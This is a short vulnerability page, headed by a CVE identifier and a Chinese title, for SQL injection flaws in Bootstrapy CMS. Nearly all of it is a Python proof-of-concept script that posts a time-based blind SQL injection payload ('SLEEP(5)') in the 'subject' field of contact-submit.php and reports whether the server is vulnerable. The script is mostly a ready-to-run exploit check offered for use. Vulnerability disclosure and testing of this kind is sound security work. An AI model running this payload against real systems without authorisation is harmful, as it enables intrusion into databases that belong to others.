CVE-2019-25642 Bootstrapy CMS 多个SQL注入漏洞

import requests def check_sqli(url): # Target endpoint where the vulnerability exists target = f"{url}/contact-submit.php" # Malicious payload for SQL Injection # This payload attempts to cause a time delay (blind SQL injection) payload = "' AND (SELECT SLEEP(5))-- -" # POST data parameters vulnerable to injection data = { "subject": payload, "message": "Test Message", "email": "[email protected]" } try: print(f"[+] Sending payload to {target}...") response = requests.post(target, data=data, timeout=10) # Check if the response time indicates a successful injection # If the server sleeps for 5 seconds, the response time will be > 5s if response.elapsed.total_seconds() >= 5: print("[!] Vulnerability confirmed! The application is vulnerable to SQL Injection.") else: print("[-] Vulnerability not detected or patched.") except requests.exceptions.RequestException as e: print(f"[Error] Request failed: {e}") if __name__ == "__main__": # Replace with the actual target URL target_url = "http://localhost/bootstrapy" check_sqli(target_url)